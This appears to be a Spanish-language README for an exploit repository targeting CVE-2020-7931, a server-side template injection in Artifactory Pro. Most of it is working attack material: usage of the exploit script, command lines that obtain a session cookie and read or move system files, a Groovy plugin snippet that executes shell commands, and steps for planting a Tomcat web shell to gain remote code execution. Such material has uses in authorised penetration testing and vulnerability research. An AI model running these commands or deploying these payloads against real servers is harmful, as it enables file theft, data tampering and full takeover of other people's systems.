
Hackeando Artifactory con inyección de plantillas del lado del servidor
CVE-2020-7931 es una vulnerabilidad de desconfiguración intencionada en Artifactory que permite a los atacantes realizar inyecciones de plantilla del lado del servidor desde una plantilla FreeMarker.
La vulnerabilidad fue descubierta por Ryan Hanson de Atredis y fue corregida para todas las versiones afectadas a finales de 2019. Solo funciona en las versiones Pro de Artifactory, ya que otras versiones no tienen capacidades de plantillas.
Este repositorio contiene un script y una plantilla.
La plantilla toma el primer parámetro GET para determinar su acción deseada. Las acciones válidas son:
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*): move utiliza el método renameTo de Java que no funciona entre diferentes sistemas de archivos. Para realizar un movimiento entre sistemas de archivos, se debe copiar y luego mover, más información a continuación.
(**): el origen debe dividirse entre la ruta base y el nombre de archivo; el destino es relativo a la ruta raíz de la aplicación web de Artifactory, p.ej. /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Como hemos visto, renameTo() no funcionará entre diferentes sistemas de archivos. Para emular esto, primero copia el archivo y luego muévelo (¡hazlo inmediatamente, o Artifactory podría fallar!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): Como se explicó anteriormente, aquí /bla en realidad se refiere a /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla porque root.write() escribirá necesariamente en la raíz web de la aplicación actual.
Esto permite explotar configuraciones que almacenan artefactos en un sistema de archivos separado (¡lo cual es una buena práctica!).
Por defecto en una instalación de Artifactory, no es posible instanciar clases, por lo que el truco habitual freemarker.template.utility.Execute no funcionará.
Hay varias otras formas de obtener ejecución remota de código solo manipulando el sistema de archivos:
Aquí hay un ejemplo de un plugin de Groovy que realiza ejecución de shell, ejemplos más elaborados aquí:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Los plugins deben colocarse en la ruta de plugins /var/opt/jfrog/artifactory/etc/plugins/ y deben recargarse mediante una llamada a la API que requiere privilegios de administrador de Artifactory:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Aquí hay un servlet de Tomcat que implementa una webshell.
Los archivos WAR deben colocarse en la ruta webapps de Tomcat /opt/jfrog/artifactory/tomcat/webapps/. Por defecto, el despliegue de archivos WAR es automático e iniciará otra aplicación web junto a la instancia de Artifactory, p.ej. en http://localhost:8081/sample/.
Este es el método preferido ya que no requiere privilegios de administrador de Artifactory y es más simple para ejecutar comandos sobre la marcha.